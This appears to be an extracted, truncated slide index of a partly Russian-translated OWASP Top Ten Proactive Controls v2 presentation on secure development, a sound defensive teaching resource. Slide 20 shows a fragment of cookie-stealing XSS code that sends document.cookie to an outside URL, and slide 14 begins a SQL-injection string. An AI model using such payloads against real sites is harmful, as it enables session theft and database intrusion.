Содержание
- 2. OWASP Top Ten Proactive Controls – v2
- 3. C1: Проверять всю безопасность рано и часто
- 5. Проверять безопасность рано и часто ! Security testing needs to be an integral part of a
- 6. The DevOps challenge to security … http://fr.slideshare.net/StephendeVries2/continuous-security-testing-with-devops DevOps : continuous delivery pipeline. Mature DevOps velocity is
- 7. Автоматическое тестирование безопасности в a Continuous Delivery Pipeline ! http://devops.com/2015/04/06/automated-security-testing-continuous-delivery-pipeline/ An easy approach to include security
- 8. BDD-Security Testing framework http://www.continuumsecurity.net/bdd-intro.html The BDD-Security framework может быть сконфигурирован с использованием естественного языка (Given, When
- 9. Среда тестирования BDD-Security http://www.continuumsecurity.net/bdd-intro.html Автоматическое сканирование XSS Senario: The application should not contain Cross Site Scripting
- 10. BDD-Security Testing framework http://www.continuumsecurity.net/bdd-intro.html Тестирование управления доступом @Restricted(users = {"admin"}, sensitiveData = "User List") public void
- 11. Охватываемые риски: все!
- 12. C2: Параметризованные запросы
- 13. Power of SQL Injection …
- 14. Сильный пароль… ✓ Upper ✓ Lower ✓ Number ✓ Special ✓ Over 16 characters X' or
- 15. Уязвимое использование Безопасное использование //SQL PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID
- 16. Охватываемые риски
- 17. C3: Кодирование данных перед их использованием парсером
- 19. <
- 20. Атака 1 : кража cookie Attack 2 : искажение веб-сайта var badURL='https://owasp.org/somesite/data=' + document.cookie; var img
- 21. Проблема Решение OWASP Java Encoder Project OWASP Java HTML Sanitizer Project Microsoft Encoder and AntiXSS Library
- 22. System.Web.Security.AntiXSS Microsoft.Security.Application. AntiXSS Может использоваться для кодирования HTML, HTML-атрибутов, XML, CSS и JavaScript. Native .NET библиотека
- 23. Нет необходимости в библиотеках третьих сторон или конфигурации Данный код был разработан с учетом высокой доступности
- 24. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project HTML Contexts Encode#forHtml Encode#forHtmlContent Encode#forHtmlAttribute Encode#forHtmlUnquotedAttribute XML Contexts Encode#forXml Encode#forXmlContent Encode#forXmlAttribute
- 25. Ruby on Rails : http://api.rubyonrails.org/classes/ERB/Util.html PHP : http://twig.sensiolabs.org/doc/filters/escape.html http://framework.zend.com/manual/2.1/en/modules/zend.escaper.introduction.html Java/Scala (Updated January 2015) : https://www.owasp.org/index.php/OWASP_Java_Encoder_Project .NET
- 26. LDAP Encoding Functions : ESAPI and .NET AntiXSS Command Injection Encoding Functions : Careful here !
- 27. Охватываемые риски
- 28. C4: – Проверка действительности всех входных данных
- 30. HTML Sanitizer написан на Java which lets you include HTML authored by third-parties in your web
- 31. Caja Caja (pronounced /ˈkɑːhɑː/ kah-hah)[1] является проектом Google и реализован на JavaScript для "virtual iframes" ,
- 32. OWASP HTML Sanitizer Project https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project Пример использования: validate img tags public static final PolicyFactory IMAGES =
- 33. Pure JavaScript, client side HTML Sanitization with CAJA! http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer https://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja/plugin/html-sanitizer.js Python https://pypi.python.org/pypi/bleach PHP http://htmlpurifier.org/ http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/ .NET
- 34. Проверка Upload Проверка имени файла и размера + антивирус Хранение загруженных файлов Использовать только проверенные имена
- 35. A1 – Injection A2 – Broken Authentication and Session Management A3 – Cross-Site Scripting (XSS) A4
- 36. C5: Выполнение аутентификации и управление идентификациями
- 38. Взлом пароля
- 39. 1) Не ограничивать тип символов или длину пароля пользователя по следующим причинам Ограничение паролей для защиты
- 40. 2) Использовать криптографически сильную специфичную для креденциала salt protect( [salt] + [password] ); Использовать 32char или
- 41. 3a) навязывать трудную проверку как для атакующего, так и для проверяющей стороны PBKDF2([salt] + [password], c=140,000);
- 42. 3b) Навязывать трудную проверку только для атакующего HMAC-SHA-256( [private key], [salt] + [password] ) Защищать данный
- 43. И снова… идеальный пароль! ✓ Upper ✓ Lower ✓ Number ✓ Special ✓ Over 8 characters
- 44. Использовать 2 идентификационных вопроса Фамилия, номер аккаунта, email, DOB Обеспечить политику блокировки Задавать несколько вопросов, относящихся
- 45. Лучшие практики аутентификации пользователя – реальные примеры
- 46. Authentication Cheat Sheet https://www.owasp.org/index.php/Authentication_Cheat_Sheet Password Storage Cheat Sheet https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet Forgot Password Cheat Sheet https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet Session Management
- 47. A1 – Injection A2 – Broken Authentication and Session Management A3 – Cross-Site Scripting (XSS) A4
- 48. C6: Реализация необходимого управления доступом
- 50. Жестко встроенная в прикладной код проверка роли Недостаток, связанный с логикой централизованного управления доступом Недоверяемые данные,
- 51. Сравнение вертикального и горизонтального управления доступом Вертикальное управление доступом: разрешать различным типам пользователей доступ к различным
- 52. Проверки роли, жество зашитые в код RBAC RBAC (Role based access control) if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER"))
- 53. ASP.NET Roles vs Claims Authorization [Authorize(Roles = "Jedi", "Sith")] public ActionResult WieldLightsaber() { return View(); }
- 54. Claims-Based Authorization When an identity is created it may be assigned one or more claims issued
- 55. Apache Shiro Permission Based Access Control http://shiro.apache.org/ Проверка, имеет ли текущее использование определенную роль или нет:
- 56. http://shiro.apache.org/ Check if the current user have a permission to act on a certain type of
- 57. http://shiro.apache.org/ Check if the current user have access to a specific instance of a type :
- 58. A1 – Injection A2 – Broken Authentication and Session Management A3 – Cross-Site Scripting (XSS) A4
- 59. C7: Защита данных
- 60. Какие преимущества обеспечивает HTTPS? Конфиденциальность : шпион не может просмотреть ваши данные Целостность: шпион не может
- 61. HSTS (Strict Transport Security – строгая безопасность на транспортном уровне – rfc 6797) http://www.youtube.com/watch?v=zEV3HOuM_Vw Forward Secrecy
- 62. Шифрование данных при передачи: HSTS (Strict Transport Security) Forces browser to only make HTTPS connection to
- 63. What is Pinning ? Pinning is a key continuity scheme Detect when an imposter with a
- 64. Encrypting data in Transit : Browser-Based TOFU Pinning https://www.owasp.org/index.php/Pinning_Cheat_Sheet Browser-Based TOFU Pinning : Trust on First
- 65. Encrypting data in Transit : Pinning in Play (Chrome) https://www.owasp.org/index.php/Pinning_Cheat_Sheet
- 66. Encrypting data in Transit : Forward Secrecy If you use older SSL ciphers, every time anyone
- 68. AES
- 69. AES-ECB
- 70. AES-GCM
- 71. AES-CBC
- 72. Unique IV per message
- 73. Padding
- 74. Key storage and management + Cryptographic process isolation
- 75. Confidentiality !
- 76. HMAC your ciphertext
- 77. Integrity !
- 78. Derive integrity and confidentiality keys from same master key with labeling
- 79. Don't forget to generate a master key from a good random source
- 81. Encrypting data at Rest : Google KeyCzar https://github.com/google/keyczar Sample Usage : Crypter crypter = new Crypter("/path/to/your/keys");
- 82. Encrypting data at Rest : Libsodium https://www.gitbook.com/book/jedisct1/libsodium/details A high-security, cross-platform & easy-to-use crypto library. Modern, easy-to-use
- 83. C8: Implement Logging And Intrusion Detection
- 84. Tips for proper application logging Use a common/standard logging approach to facilitate correlation and analysis Logging
- 85. App Layer Intrusion Detection : Detection Points Examples Input validation failure server side when client side
- 86. App Layer Intrusion Detection : Detection Points Examples Blatant SQLi or XSS injection attacks. Workflow sequence
- 87. C9: Leverage Security Frameworks and Libraries
- 88. Leverage Security Frameworks and Libraries Don't reinvent the wheel : use existing coding libraries and software
- 89. A1 – Injection A2 – Broken Authentication and Session Management A3 – Cross-Site Scripting (XSS) A4
- 90. C10: Error and Exception Handling
- 92. Best practices Manage exceptions in a centralized manner to avoid duplicated try/catch blocks in the code,
- 94. Скачать презентацию